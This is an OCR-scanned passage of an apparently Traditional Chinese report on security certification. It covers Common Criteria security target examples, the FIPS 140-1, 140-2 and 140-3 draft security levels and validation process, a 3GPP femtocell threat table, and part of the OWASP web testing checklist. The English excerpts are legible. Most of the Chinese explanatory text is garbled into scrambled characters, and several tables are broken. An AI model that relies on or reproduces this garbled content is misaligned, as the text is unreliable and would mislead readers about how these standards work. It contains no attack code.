This section has been taken over from the certified (BSI-PP-0035) Smartcard IC Platform
Protection profile [27].

Family behavior

This family defines quality requirements for the generation of random
numbers which are intended to be use for cryptographic purposes.

Component leveling:

FCS_RNG Generation of random numbers 1
FCS_RNG.1 Generation of random numbers requires that random numbers
meet a defined quality metric.
Management: FCS_RNG.1
There are no management activities foreseen.
Audit: FCS_RNG.1
There are no actions defined to be auditable.
FCS_RNG.1 Quality metric for random numbers
Hierarchical to: No other components.
Dependencies: No dependencies.
FCS_RNG.1.1 The TSF shall provide a [selection: physical, non-physical

true, deterministic, hybrid] random number generator that
implements: [assignment: list of security capabilities].

FCS_RNG.1.2 The TSF shall provide random numbers that meet
[assignment: a defined quality metric).

® 3- 55 Extended components definition example

FTH &R pAp =

6. =% >3 & (Security requirements)
SRR R R T h% 2 F Ko
Security functional requirements : SFRs &_#- security objectives fu:¥ = & 82 = i
I];;\ o
Security assurance requirements : SARs #_i¢ * % 2Z 2 f 4o @ =5 TOE(4- @] 3-
56) -
Security requirements rationale : 4%+ SFRs £2 security objectives =¥ J& i i 3214
P 0 BT 3% SFR ¥R 2 security objective srig sp o T AT - B ¥ B d B
7“7 £ security objectives 3% & 4% SFRs #1id FRJL o £ 4 SARs T & 2R G
HAEGRFTASARS & gAEH -
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6.4.2 SARs rationale
6.4.2.1

6.4.2.2

Evaluation Assurance Level Rationale

An assurance requirement of EALS is required for this type of TOE since it is intended to
defend against sophisticated attacks. This evaluation assurance level was selected since
it is designed to permit a developer to gain maximum assurance from positive security
engineering based on good commercial practices. EALS represents the highest practical
level of assurance expected for a commercial grade product.

In order to provide a meaningful level of assurance that the TOE provides an adequate
level of defense against such attacks, the evaluators should have access to the low level
design and source code. The lowest for which such access is required is EALS.

The assurance level EALS is achievable, since it requires no specialist techniques on the
part of the developer.

Assurance Augmentations Rationale

Additional assurance requirements are also required due to the definition of the TOE and
the intended security level to assure,

ALC_DVS.2 Sufficiency of security measures

Development security is concerned with physical, procedural, personnel and other
technical measures that may be used in the development environment to protect the
TOE.

Bl 3- 56 SARs rationale example

FTH &R pAp =

7.

F="

P endd

& (TOE summary specification)

BEFF ST AR R AT 2 TOE 4oieis K415 eh% 22
ic & F(SFRs)(4-®) 3-57) -

7. TOE summary specification (ASE_TSS)

This section provides a description of the security functions and assurance measures of
the TOE that meet the TOE security requirements

7.1 Security Functionality
The following table provides a list of all security functions.

Table 27. List of all security functions
No TOE Security Function  Short Description

1. SF.AccessControl enforces the access confrol

2 SF.Audit Audit functionality

3 SF.Cryptokey Cryplographic key management
4. SF.CryptoOperation Cryptographic operation

5. SF.I8A Identification and authentication
&

SF.SecureManagement  Secure management of TOE resources

T SFPIN PIN management

W] 3- 57 TOE summary specifications example

FHE&R:pAp 2
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= ~FIPS 140

% RN 2 5% (Federal Information Processing Standards > f§ £ FIPS) >
{% OB F AR PR S R RO e [ AR GRS AL 2R
&R T vh’§ S g o FIPS 140 5 FIPS % 140 545 # > % — 4 FIPS 140-1 4 %
B Ppads 428030 1996 £#d R TRFEEEHFET IR flex T 0F o
% = %= FIPS 140-2 3+ 2001 =% » p o % = %< FIPS 140-3 en¥ % 1+ &% 27 o

FIPS140 5 46 ¢ 7 R LT % 2R & P > blde: 2% F - 5855

PECEEEFIGENE TS ERE o RRE R IFUROR T L SO R
%ég%%ﬁﬁmﬁLi AP R A FIPS 140-2 BT R o 405 2 o
R RF ERH B HA ST S RAORE 2 e F 3 A S8 FIPS 140-2 sk -

— k3 FIPS chigs A 2 T 5] & # (4o B 3-58) -

(1) ¥ o p #H TR A e I RETRE

(2) #wiPIF % 21395 FIPS 140-2 crfh B 32 A 2% 27 R & ek >
g S SRR R SRR -

() HAPFTHRZH2NL2APRPAZL  ERPM BB LRRFL » TR
NIST/CSEC % % -

(4) NIST/CSEC #-ik 4} FIPS 140-2 chflffs » % 17 i¥ % 2 % A% HE 0 H iR 3R 2

(5) NISC/CSEC ¢ #-3t:cns %8By AiPIFHZE >  RPIFHRZT L RE&H
NISC/CSEC s AL it w i » 34245 H 45 51 fada ] -

(6) AP mciaiplaF 4 - L%+ NISCICSEC #-¢ 1% 2454 4 ¥ sz
R 0 T HRH BB E A » NISC | 2 e rben T v g e 7 FH o o)

CMVP ( Cryptographic Module Validation Program ) »

82 FIPS # ipl i 42, http://www.ttc.org.tw/index.php?apps=pgarticle&action=index&cat_id=7&id=15, B4 B;* * T & H e .
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RURERE RN FETEE

Module IUT Stage

NIST/CSECEI®
o FIPS 140-2 % WMAMRRER

A8 153
@

ERERUBABR

I #ARE3
|
gggg SR EMAIR WS LANIST/CSEC NIST/CSEC
=

Module Review Pending Stage N T —
O sqEn
Module Under Review Stage

W) 3-58 FIPS ik sk 21 £ 3 inde

TALK R D AR AT G
(- ) FIPS gyFie

% Wkt 1994 # - 7 4 FIPS 140-1 > FIPS 140-2 p*t = # {5 692001 # 7 *
3 o ¥ FIPS 140-1 4 » 7 2 S en® 203 2> i B3 30 K o 3750 FIPS
140-3 > 2007 &% 4 % - Ren¥ % > W4T T BE 2 E % 2 EF T 2009 £ chE
preew RoAdhw BE 2% o £ 3-17 £ 50 FIPS140 2 744 -

R . 132
¥ AT & BT Y
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% 3-17FIPS 140 % 5|44 § & 4
FIPS 140 5% X285 ZrE R
FIPS 140-1 ABpE2ER 1HE% & K&
(1994-2000) T rERI~F 2ERA4
FIPS 140-2 ApE2RE 1HE% & K&
(2001-present) ZrEel~x2>%%4 |4 FIPS140-L>ptmd 1 & 5 3 B3

PIF B~ 2 B ETH{ LB

FIPS 140-3 5% 2 ¥ 1% 28 %

(draft 2007) T 2rEm1~% 2555 [4p FIPS140-2: 45 A3 &1 1B 2
eI B 3 BATHTD 2 BRI

FIPS 140-3 4% 285 NAZ2E %

(draft 2009) T rEm 1% 2554 [ 4p FIPS140-2: 0 A3 &4 2 B 12

EcI P 3 BATHT D -2 BAIS T P

T kiR AR

(= ) FIPS 140-1 f§ 4
FIPS 140-1 5 FIPS 140 ch% - B # sxAh > B% 2 K s Sw B &% o

1. % 2% % 1: production grade

FrEe l RPEERAIDT 2T R BB/ LR D RH L2 0 L AT
FIPS ¥+ (approved) e#e %if 82 > @ ¥ H p IRiF (v & 55 %ﬁh@h% #H2W
WEAR - - i ié_r%%s-"f’_)j‘ PR Tt AMAe PR B E PR 2 E s
ﬁ%ﬁ’—%%iiiiﬁlﬁwér{m§?4o
2. % 2% % 2:tamper evidence

&ﬁ LZREX2ERLNE £2 00 & B G 2 F AR R A DA 2R
e s~ BRAK R ble B HESDEYER -

3. % > %% 3: tamper detection and response ( zeroization)

AL T BB ZT2ER25E K2 v A B SE AR~ B Bee N B
S E S S LA S RS S SR
e — 133
¥ 328 FXRPHEELRPIAEL BATAESF T
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IN
A¥
2’

& & 4 : environmental failure testing/protection (EFT/EFP)

LEREEX2ERIINE R AHEFTELFFHOE >2FE bl
Bole oh Bk o gt b o AP IR TR B R R C TR F AR 7 AD
¥k e R o« PN BB E > S UF R

Ii*:
1% —m»

kL

3
5o
W

=

f T b Gee BE 2R B A FIPS140-1 ¢ 0 & KRB EL FEI T 4
> % FGr$RE R 3-59) -

~

AY

1. %##%E (Crypto Module)

"HAEER ) SR ARAT e RER R T RE e, Adp e 7 MR
B FORE N DER EAE G A EL DN ERP R e

g 4 s RABARRE RABIF Y 2

IR A
£ 4

2. HAm#EA4 % (Module Interfaces)

A RAEE Y DT AR AR N S IR TR ABE S G kA
#F T -FIPS140-1 7 T - BRABHERLE e BEBEAG  FRE 1o ~ TH
ﬁ;fibl i % \;}";_‘ﬁljﬁ;f])\/}‘i ‘%ﬁ*ﬁ‘%ﬂ{/}a .

P-4

3. & ¢ g%+ (Roles & Services)

BN AR A L ¢ BRI PR & ¢ 85 R PRI - FIPS 140-1
A Y IR 2 R T —g ¢ 4 (UserRole) & ¢ ﬂi & ¢ (Crypto Officer Role) ;
dod PAEEF REAERS  URERARETHERE TR > B ER
A S (Maintenance Role ) » FIPS 140-1 "~ .z @ Afret > & & 7 B KA
PE7% (Show Status) £2#4 = p 2\ p|z2 % JR5% (Perform Self-test) & 78 PR7%* o @ % 46 -
KR S AT —}%‘ HERE T N S At & § 2 @4 (Role-Based Authentication) 7 ALt &

& 2_ #%) (ldentity-Based Authentication ) o
4. F "GRG HF] (Finite State Machine )

TRE B R 5 PR B B0 ok i B B] (state transition diagram ) £
fi H#5 4 (state transition table ) iy i HiF ¥ 54 - £ ¥ ppdy pr 218 (v g 35k
A5 oFIPS 140-1 S 2 5 - & JF & 2 0™ e @ 7 R B BB & (Power on/off states ) ~
% 45 325 % i (Crypto officer states) ~ & 4% & i (Key entry states) ~ @& * = J&
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7354 85 (User service states )~ p #%p| 38 i ( Self-test states ) ~ 45 24 i& (Error states ) ;
ook S T g e 5 - B H TR AL 0 Blde ¢ R4 40 1R A& (Un-initialized states )
A (ldle states ) ~ % i 5k i (Bypass states ) ~ sz i ( Maintenance states ) -

5. R M=% > (Physical Security)

DR HC e JE R F M e 28 R LT RS e 2348 3 B~ o FIPS 140

R HINAFACEL I E S PR R AN AT B

N

6. EFP/EFT

&ﬁﬂ#%ngW)ﬁﬁ{%%ﬁgﬁaﬁ’@ﬁﬁﬁﬁ% vig
PARAFLBY R BT IO 2o VO RA R R E T PR
RRETLER FEREYF N imaw i o EFP & KRB et 5 4
FHRERZEZ AL §FRALINF el ¥ FFnf i FIFF > ST fd BET R
M BB X MR e R ANRS £GP BB X 2 ST R o B R YRR (EFT)
PR % A B i (7 TR B T R 1R 1T RO %ﬁﬁ“ BR R e A T ¥ TR
SEEEE S R IR BT 2 o

TR B 2%

Fp b ey B

7. ¥ =X > (Software Security)

FIPS 140 R T A ire ph #75 m@%ﬁﬁyﬁgf, E T QIR R K @ PR A R
DB RGP RATE RSB S LR 7§ PN R LT 2 g
B2 A gt s AiE 0 2 2P AT Qﬁ%ﬁﬁ%ﬁ@ﬂo

< KPR RS A e TR

iﬁwﬁ°ﬁﬂ’@ﬁ%ﬁégfﬁiﬁﬁﬁﬁwﬁﬁﬁﬁ%gaﬁo
Zr%m 3 K/%”J TRARELT AR LY 2 5B fob > LB FR T RN P
PR ER 0 A ki R R kA £ R RIS

FREHAFTADBAAREBL 283 PR R LR AR
v RSEE §RBEEE 2 RAIAE D] (blde D HAEGHE RS ) o 1
v R Al (BN AR ) MR E D S s R G
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8. {¥¥ k3% 2> (Operation System Security)

AR TR AN e MR A R D R ¢ 3R R
FIPS 140 %438 (% & %t 2 2R F b4 > 552 F % LH b ehd £ o
9. &4 = (Cryptographic Key Management )

PAMELEFIFIHRT FIPS 7V s sgA 2 782 e iamr 29 4
d PR Y A fwrsﬁﬁg%g_i;ﬁ;aj;‘; o btk BARA A FE 2 EARY HF A By
A A 4 & ¥ % 8 (pseudo-randomly) -

N
|

Eaeh E e i FIPS 17 A #2 5% « 4gehE &7 T A1~ (6]
PR RIS KER) AT (bl FES C ARP A KER)- 4
HRrntE s T O B AP 2 NG AN RABREY > TP P B4 R S BT
DR g (B A S HERALR ) Bl o RABHCET LR B e BT S
YRR ERSE S S LRSI
10. %% ¥ 2 (CryptoAlgorithm)
BAEW RS T FIPS T e g 8 F 52 o
11. R+ #/2 &4 E (EMI/EMC)
RPN T BT BT A E B & FCC an® £ o
12. p (iR (Self-Tests)

PAKERZE LG R A RE (power-up self-tests ) & ik 2 p 2 jp| 3
(conditional self-test) o ¥ ;P3R4 pepF > BAE P O L A8 B Rk i > T K e
AR ﬁjﬂ'.&%é%%%fr PR T RAR G Mk TEE LR R > s R BLE
AL A ﬁisa] | 51:'1 °

|

(\x
& =k

Bl3E A £ 4 = Pair-wise consistency test £ Software/firmware load test = #& -
Ly RBWET LA SH{EFHF - FRLEDRE D BF §HRA/IER? 2
e g 7»;&‘:;\. »I WP o ek R M (LR R )

0!

136



EEAATEIRPMRETE (F1Y) 227735 P AL

Security Level 1 Security Level 2 Security Level 3 Security Level 4
Crypto Specification of cryptographic module and cryptographic boundary. Description of cryptographic module mcluding all hardware. software,
Maodule and firmware components. Statement of module secunty policy.
Module Required and optional mnterfaces. Specification of all interfaces Data ports for critical security parameters physically separated from
Interfaces and of all internal data paths other data ports
Rales & Logical separation of required Role-based operator Identity-based operator authentication.
Services and optional roles and services. | authentication.
Finite State Specification of finite state machine model. Required states and optional states. State transition diagram and specification of state
Machine transitions.
Physical Production grade equipment Locks or tamper evidence Tamper detection and response Tamper detection and response
Security for covers and doors envelope.
EFP/EFT No requirements. Temperature and voltage.
Software Specification of software design. Relate software to finite state High-level language Formal model. Pre- and post-
Security machine model. implementation conditions.
Operating Executable code. Controlled access protection Labelled protection (Bl or Structured protection (B2 or
System Authenticated.  Single user. (C2 or equiv) equiv.). Trusted equiv.)
Security single process. communications path.
Key FIPS approved generation/distribution techniques Entry/exit of keys in encrypted form or direct entry/exit with split
Management knowledge procedures
Crypto FIPS approved cryptographic algorithms for protecting unclassified information
Algortihms
EMIEMC FCC Part 15. Subpart J, Class A (Business use). Applicable FCC | FCC Part 15. Subpart J. Class B (Home use)

requirements (for voice)

Self-Tests Power-up tests and conditional tests.

W 3-59FIPS140-1 % > § &4 2 # H

FH %R NIST
(=) FIPS 1402 f§ 4

FIPS 140-2 » % 4 % > %% » ¥ 1
140-1 # FIPS 140-2 7 o 2_ i it & 3P0 o

2% (4o 3- 60) © 12T 44t FIPS

1. ®@EB-ER# (Cryptographic Module Specification)

EATH LERLA M FEFIPS140-1 0 T R R | 4p i o

)
e
#

H-e®r & 45 (Cryptographic Module Ports and Interfaces)

(&N
e

Tk LR R LA N FEFIPS140-1 50 TR G AR e
3. &¢ ~pR7x&r L L g% (Roles s Services »  and Authentication)

EATH LR R A DH A FHT % 29 a0 (Perform Approved Security
Function) e1F fPRG+ > BB e EH 73 0 - B FIPS %+ 48 & ;% (Approved

mode of operation ) -
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4. 3 'R G #-3] (Finite State Machine )

foF & FIPS140-1 57 5 "Lk 03] Ap B0 2 FH 2 6 #2457 S5 L (Key
entry states ) { :t i £ 4&/15 57 8% % 18 (Key/CSP entry states ) e
5. ¥ ¥#%#% (Operational Environment)

WA RAMES L L5 TPERR o FERRE § v E h s
FTRBEEATT M A A TR 2L A RSN - ITERE

REITERE ~ VLT ¥R = o

Cm\&
\ o]

6. #&4¢ = (Cryptographic Key Management)

H%LMQ&%%&%éi&ﬂiﬁwﬁﬁm’ﬁﬁéiﬁgﬁﬁiﬁﬁ&éi
Fomaipticd 2 F o FIPS 140-2 ¢ %6 A7 dur T3  plicAd 2 F 73 FIPS
140-2 s Annex C ¢ o 17 gt e 2 BH A 24 Sl APV g 2 FE

RALPT PR L FBendy ~ T ST & 2 Solicnde ded ~ o FIPS 140-2 #1744
At S B RQER YRV At Sk > LRRPT a2 S 53 FIPS
140-2 s Annex D ¢ -

7. #3i%3#E (Design Assurance)

AR/ RBR AP e B G F 2R TR ERE S B PR i

TR eGP RO RE X RERY T REREE DY B o
8. #d H & (Mitigation of Other Attacks)

PAWERZEHAE A B AL IR URRETITELZ S bl D R RA T
(power analysis ) ~ p# B 2 47 (time analysis ) #7245 3%;3 » (fault induction) sz # % -
TRAPFTRBFIZETRERF S R* DT § LR KA E D £4T R
PR A ATSe BRI AE BT i~ 0 AR R RO R IR R Pk S 4T £
ST o g S RS SR B (e N Bl TR S oA 2
BE > REH e a2l Y8 FHRBE T AL £ NS S U IR AEEGUIPM BB
> AT .
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Security Level 1

Security Level 2

Security Level 3

Security Level 4

Cryptographic
Maodule
Specification

Specification of cryptographic madule, cryptographic boundary. Approved algorithms, and Approved modes of operation Description of
cryptographic module, including all hardware, software_ and firmware components. Statement of module security policy

Cryptographic
Module Ports
and Interfaces

Required and optional interfaces. Specification of all interfaces
and of all input and output data paths.

Data ports for unprotected critical security parameters logically or
physically separated from other data ports.

and
Authentication

Roles, Services,

Logical separation of required
and optional roles and services.

Role-based or identity-based
operator authentication

Identity-based operator authentication

Finite State
Maodel

Specification of finite state model

Required states and optional states. State transition diagram and specification of state transitions

Physical
Security

Production grade equipment.

Locks or tamper evidence

Tamper detection and response
for covers and doors

Tamper detection and response
envelope. EFP or EFT

Operational
Environment

Single operator. Executable
code. Approved integrity
technique.

Referenced PPs evaluated at
EAL2 with specified
discretionary access control
mechanisms and auditing

Referenced PPs plus trusted
path evaluated at EAL3 plus
security policy modeling.

Referenced PPs plus trusted path
evaluated at EAT4

Cryptographic
Key
Management

Key management mechanisms: random number and key generation.

key zeroization.

key establishment, key distribution. key entry/output. key storage, and

Secret and private keys established using manual methods may be

entered or output in plaintext form.

Secret and private keys established using manual methods shall be
entered or output encrypted or with split knowledge procedures.

EMIEMC

47 CFR FCC Part 15. Subpart B, C]

lass A (Business use)

Applicable FCC requirements (for radio)

47 CFR FCC Part 15. Subpart B. Class B (Home use).

Self-Tests

Power-up tests: cryptographic algorithm tests, software/firmware integrity tests. critical functions tests. Conditional tests

Design
Assurance

Configuration management
(CM). Secure installation and
generation. Design and policy
correspondence. Guidance
documents.

CM system. Secure
distribution. Functional
specification.

High-level language
implementation.

Formal model. Detailed
explanations (informal proofs)
Preconditions and postconditions

Mitigation of
Other Attacks

Specification of mitigation of attacks for which no testable requirements are currently available

% 3- 60 FIPS 140-2 %

2ERAZERN

TR &R NIST

(= ) FIPS140-3 (draft2007) #§ 4

FIPS 140-3 (draft 2007 ) 4 = 5 B % > & &%
/| & 44+ FIPS 140-3 & FIPS 140-2 7 e 2.
3% 5 4%

~

_Q

( Electromagnetic emanations) sz # o >+ Z & 3 £ 7T 7|

1.

R HA LN DR 248 )
Mg gk ke

#

2. FHWL -2

FIPS 140-3(draft 2007 ) #- FIPS 140-2 ¢ #f3t 2t

ST R

}»& {E‘LL ﬁf{l—/k’

F]E

SHRATE 2ER 4 R g2

ENY- 3 1

/,.

$ A< > (Software Security )

%=~

7o Ii?:}% SRS

s34 11 %

k4™

HO AR A S %

.
i~

Eul

A¥

I,r’ /EIJ Fé Z‘ﬁ

Liz » ;3\ sz & (Physical Security-Non-invasive Attacks )

F(4- @ 3-61) -

s %’}i\g

- 1L I}’%J

;¢ 7 # (Non-invasive attack )

TR AR R

»
™
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BB - o B4e @ Simple Power Analysis ~ Differential Power Analysis ~ Electromagnetic

Emanation £ Timing Analysis -

3. AT % > %¥%cg = (Sensitive Security Parameter Management )

2

AT %% (Sensitive Security Parameters » i - SSPs) 4 & a7 5 8icr B & > %
fic o ¥ 47 %-# (Critical Security Parameters » f§ # CSPs) 3%t ik AR A e >
WL G ~ Bt A SFE 2

PSPS) ek o3l 14 3 L 2B enig 2t Fdk o 2 0 R P RABHC T T 0T
#ic

%% (Public Security Parameters » #

\\Xr

AR
4. 2 #3x¥p R (Life-Cycle Assurance)

d FIPS 140-2 ¢33+ %% (Design Assurance) 2 & &m %k o

140



—‘J-

EE AT ERPIES

2 (%1%) 2=y % AL

2
¥

Security Level 1

| Security Level 2 | Security Level 3

| Security Level 4 | Security Level §

modify restrictions.
zeroization upon unload,
format checking.

value zeroization.

1. Cryptographic Specification of module. t y. Approved algonthms and Approved modes of operation. Description of module hardware
Module and software. Module d 1
Specification Security Policy defines Approved mode of Module indication of Approved mode of operation.
operation.

2. Cryptographic Required and Optional Interfaces. Specification Input and output of I secunity p s either physically separated
Module Ports and | of all interfaces and of all mput and output data or logically separated using trusted channel from other ports and interfaces.
Interfaces paths.
3. Roles, Services Definition of module's Role-based or Identity-based Two-factor authenncation.
and roles and services. identity-based operator
Authentication I i
4. Software Executable code, Digital signature- MSI command to Encryption and Encryption and
Security Approved integrity based integrity test. | initiate the software decryption of CSPs decryption of PSPs

. technique, MSL. read and integrity test. Hash and integnty test code. | and integrity test code.

Other Attacks

5. Operational Single user OS or Audit mechanisms. | Crypto software. SSP. | Extended auditing requirements.

Environment discretionary access Discretionary and audit data
control. access 1 ion. Trusted

chznnel Extended
auditing.
6. Physical Production grade Tamper evidence. Tamper response and EFP or EFT for EFP for temperature
Security components. Opaque covering or | zeroization circuitry temperature and and voltage. Opaque to
: enclosure. on removable covers voltage. Tamper non-visual radiation
and doors. Vents detection and examination.
protected from zeroization circuitry Protection from tamper
probing. Hard opaque | for multi-chip detection and
coating or enclosure, modules. zeroization circuitry
disablement.

7. Physical No additional requirements. Protection of CSPs Protection of CSPs Protection of CSPs

Security-Non- against timing analysis | against SPA and DPA | from EME attacks,

invasive Attacks JRAckY Sttacks.

8. SSp Requirements for random bit generators, SSP g SSP establish SSP entry and output, SSP storage. and CSP

Management zeroization.

Non-electronically ported SSPs may be Non-el Iy ported SSPs entered or Zeroization of PSPs.
entered or ontput i plaintext form. output erther in encrypted form or using split-
knowledge procedures.

9. Self-Tests Pre-op | self-tests: software integrity test. cryptographic algorithm test. and pre-operational bypass test. Conditional self-
1ests: pair-wise consistency test. software load test, manual key entry test, continuous RBG test. RBG entropy source test, and
conditional bypass test.

10. Life-Cycle C\IS for module‘ componems. and Automated CMS.

Assurance (CMS) Each uniquely identified and
tracked throughout lifecycle.

Correspondence between Functional Detailed design. Informal proof of Fom)al model and
(Design) module and Secunty Specification. pond formal proof of
> Policy. between pre and post comrespondence
conditions and the between formal model
functional and functional
specification. specification.
(FSM) | Finite state model.
Annotated source code, Software high-level language. Hardware high level descriptive language.
(Development) | schematics or HDL. ]
Functional Testing. Low-level Testing.
(Vendor Testing)
(Delivery and Start-up procedures. Delivery Operator authentication using vendor provided authentication infc
Operator) Procedures.
(Guidance Docs) | Ad and non-ad guid
11. Mitigation of Any mitigation mechanisms are specified in Security Policy.

®) 3- 61 FIPS 140-3 (draft 2007 )

% 2§ &4

T kiR NIST

é*‘!‘
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(7 ) FIPS140-3 (draft2009) # 4

1. AE#EEAN® (Cryptographic Module Interfaces)
EATH LR REH
2. &d¢ ~ ¥4 gnrRi+ (Roles » Authentication » and Services)
T a74 Lo 3378 % £ (multi factor authentication ) i® 5 security level 4 7 # o
3. #HmM/irw=x > (Software/Firmware Security )
g WSO RE IR B Dl RAD M GRS T B R R AR
3% wREET XY 142
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AAFE THPREETIEEY P ARBRAFEN T T FX SR 5
AR o BP0 AR ARMET K o BRARY K% 2FHY A
B ER et F 756 FRBEAE S BERS 7 P ASTE 5 F st
SO BTG o Ak LAESREF LR HYE RN AT ORD -

Bk KR R > A I ARG BRANERG B A GRS HaEr
BREA TR B A TEEAR ¢ 5 OF AT RN~ BRI B S S BN feiE v
S Tl P PR BT E KRG AL Y B R 3R G E T SR AR B
B AERFRERLLIMSOEREL L TR R ¢ R TR - BT
S EATE S R foR G o P R iR I E RFRE 20

AEE Y A D ATHR A EATHE AL 2R A P A FE L 2 s 3

FERPTFEZEEE AP FIOCF PR B £ v @ P et BT T
ERAZRARS 0 P R 2 R P AR F O St S SR AT R R
2. 5 e FF 3 =8 2 (Advanced Persistent Threat, APT) - APT % — f84 & | st £ 2
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TR33.820 (T17) |exploiting weaknesses of f&*&?ﬁt;’bﬁt‘l 3 e 5 zaéﬁp;; *;, o
active network services SR wosn EE ‘
PR IE o

OAM & & # qp #g ek # » 1 &
PR E AN Ak gl o 2 3
) ) ?‘/‘/4,\2965'3%"'_9."!'1
TR33.820 (T27) | Attack on OAM and its traffic ‘f%%ﬁ‘ - ﬁ’af o~ F;mp =3 :f;;
Bt € BBFIHA R ATE F R o
Al 8 - HPEL B P
#ﬁ)’é i iE o
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%k L ® PRP
AL R - BELNES ¥ KR

Threat of H(e)NB network B R A R 2 i R PRI ok BhAR

TR33.820 (T28) access Kﬂig’ﬁ #H B B R
~iE o

Changing of the H(e)NB Arbint P W AR o e sb i

TR33.820 (T11) location without reporting. BT ERT G EE R
: : FI* FeR B S B ok R Ak 2l

TR33.820 (T12) Software simulation of BT i § BB G P e

H(e)NB' N f:’: o

Traffic tunneling between ARG IR EE OV i g MR
TR33.820 (T13) | 4 0N, S

Misconfiguration of the Frou e i N FE L s ek T4 I R v
TR33.820 (T14) firewall in the modem/router. | &k ehsc# ¥ & % » %0 gt o

Denial of service attacks JEF s e o eh B B P
TR33.820 (T16) against core network. erfE 73 T o

H(e)NB announcing incorrect | zk =k w 3% 4% 3f-cds b F| 4500 e i J2 50
TR33.820 (T24) location to the network R
TS33.805 (T3) | Threats from eNodeB K p Az o
T$33.805 (T7) ggﬁ”mmmeﬂmm KpF A G R
NIST (T8) Availability attacks on Fr o e 8 B sh T ¢

eNodeB or Core Network ¥ 7 FpeEr o o

FH kR A BRER

6. I REIRT

AR RRIRISY CFFIRETE ST R 5L TR ALTEY
g3t IP R ERE > ERFIABPELETHABET R LI F- BREREE - &

—N

TR > FRRBEEA AR 4ok G e F L R EE

FETOOREPEO N Ho R FRRAR A P Y

4 s SN 157
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4 4-6 3 RRIRTE

kiR P LM ® PEp
TS33.805 (T6) Charging threat o e oo
T533.805 (T7) Threat from Management  |/$_ 8 2 & & ke § - 7 o B2 8 %
plane ¥4 o
NIST (T4) Call interception e o

z‘,gﬁufggx,w‘(}\ﬁgﬁ K> — 2 55|

NIST (T6) Attacks the secrete key K TG X o

R R EEN I3

=~ IPRBR G2 TR BRI

g P W IR AR EE T R RIRE AR R R RRET LR
G BEEIT PRBIEITEF P I o d 3 IP e 5T KL ENFTX R L
FAG Ry i > IP el 2 Jf#’“r'/ ME T RS mIL G D IP B & A T E
B 23 % (4 OWASP » Open Web Application Security Project) »
OWASP & - i B 2xik3 ~ 284 1) H_E’.% BB PRI REP R E D
2 AR 1 By 2 YRS L R £ R ED e R AR
.]g—_ °

FRWmG L LR FTC)L % 2122k 57 & iﬁ»d»g% i OWASP #3f fF ent <
BRI BE SR Z R IR T RIS AR A RARFL Y FHE 2
HAFPCIRE L #-H 73 0 & it o § FHFZE M RRE DPRERENLL S =
BT OREFE AR eSO R N e B X 233 E R P o & 4-7 5 OWASP #7
R RRIE R o

e e 158
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% 4-7 OWASP ®p.#&ip|5E p

Ref. No. Category Test Name

4.2 Information Gathering 3 & 4z &

Conduct Search Engine Discovery and

4.2.1 |OTG-INFO-001 Reconnaissance for Information Leakage
HOF 5 G M Ao T AL B IR R
Fingerprint Web Server

e Web R B

Review Webserver Metafiles for Information
4.2.3 |OTG-INFO-003 Leakage

% 4H Web @IREME T BA

Enumerate Applications on Webserver

38 Web #PR B * HcP

Review Webpage Comments and Metadata for
4.25 |OTG-INFO-005 Information Leakage

AT ol A N b e R

Identify application entry points
a2 T g

Map execution paths through application
DERE I RFRE

Fingerprint Web Application Framework
w5 Web & * =5

Fingerprint Web Application

#ou] Web & * 4750

Map Application Architecture

DEB FiE

Configuration and Deploy Management Testing
e ¥ 230 F B LR

Test Network/Infrastructure Configuration
TPl Es AR JEHEe B

Test Application Platform Configuration
R TEAE

Test File Extensions Handling for Sensitive
4.3.3 |OTG-CONFIG-003 Information

RIRRCR UL AN B e 2 p 2 AL
Backup and Unreferenced Files for Sensitive
4.3.4 |OTG-CONFIG-004 Information

Ay SN IR & Rl i d SR EL

4.2.2 |OTG-INFO-002

424 |OTG-INFO-004

4.2.6 |OTG-INFO-006

4.2.7 |OTG-INFO-007

428 |OTG-INFO-008

429 |OTG-INFO-009

4.2.10 |OTG-INFO-010

4.3

431 |OTG-CONFIG-001

432 |OTG-CONFIG-002

84 «“Testing Checklist-OWASP”. [Online]. Available: https://www.owasp.org/index.php/Testing_Checklist » [Accessed: 2016/2/14].
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Ref. No.

Category

Test Name

435

OTG-CONFIG-005

Enumerate Infrastructure and Application Admin
Interfaces
PR REEHE RY hERE NG

4.3.6

OTG-CONFIG-006

Test HTTP Methods
W iR HTTP = 2

4.3.7

OTG-CONFIG-007

Test HTTP Strict Transport Security
%8 HTTP et W% 2

4.3.8

OTG-CONFIG-008

Test RIA cross domain policy
# P RIA B35 & vk

4.4

Identity Management Testing
o] E IR R

441

OTG-IDENT-001

Test Role Definitions
¥ Bl # oA A

442

OTG-IDENT-002

Test User Registration Process
TR * 2RI RR

443

OTG-IDENT-003

Test Account Provisioning Process
PR = FE B AR S

444

OTG-IDENT-004

Testing for Account Enumeration and Guessable User
Account
WRITE 2 38 2 F Rl F R

445

OTG-IDENT-005

Testing for Weak or unenforced username policy
o P IE 33 enig KRR 2 2 HUP)

4.4.6

OTG-IDENT-006

Test Permissions of Guest/Training Accounts
R E 2 RIRETE 2 2 B

447

OTG-IDENT-007

Test Account Suspension/Resumption Process
iRtk = ik 2 F fode A

4.5

Authentication Testing
TR

451

OTG-AUTHN-001

Testing for Credentials Transported over an
Encrypted Channel
B L s d S B F R

45.2

OTG-AUTHN-002

Testing for default credentials
S E Nk

453

OTG-AUTHN-003

Testing for Weak lock out mechanism
e = b g iR R

454

OTG-AUTHN-004

Testing for bypassing authentication schema
A bRk

45.5

OTG-AUTHN-005

Test remember password functionality
FER A Y R e

4.5.6

OTG-AUTHN-006

Testing for Browser cache weakness
TR TG 35 PR

45.7

OTG-AUTHN-007

Testing for Weak password policy
33 A PR

45.8

OTG-AUTHN-008

Testing for Weak security question/answer
£ >R~ B RPEE

¥A4F FEETHEFTLXHIFTT
FA4lE - P F L RPIBTY
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Ref. No. Category Test Name

Testing for weak password change or reset
459 |OTG-AUTHN-009 functionalities

BAG{ F ~ £ B ARG

Testing for Weaker authentication in alternative
4510 |OTG-AUTHN-010 channel

ElaE R Rk

Authorization Testing

FAE R

Testing Directory traversal/file include
et S

Testing for bypassing authorization schema
FAE S PR

Testing for Privilege Escalation

# P PR

Testing for Insecure Direct Object References
3% > E e de R R R

Session Management Testing

Session 72 P&

Testing for Bypassing Session Management Schema
Session ¢ 72 Y53 Pl

Testing for Cookies attributes

Cookie & 14+ ip|

Testing for Session Fixation

Session & T_# Pl

Testing for Exposed Session Variables
Session 2 #ck & &P

Testing for Cross Site Request Forgery

B F % i e R

Testing for logout functionality

B A F R R

Test Session Timeout

Session A iR R

Testing for Session puzzling

Session #E58 # P

Data Validation Testing

i~ B

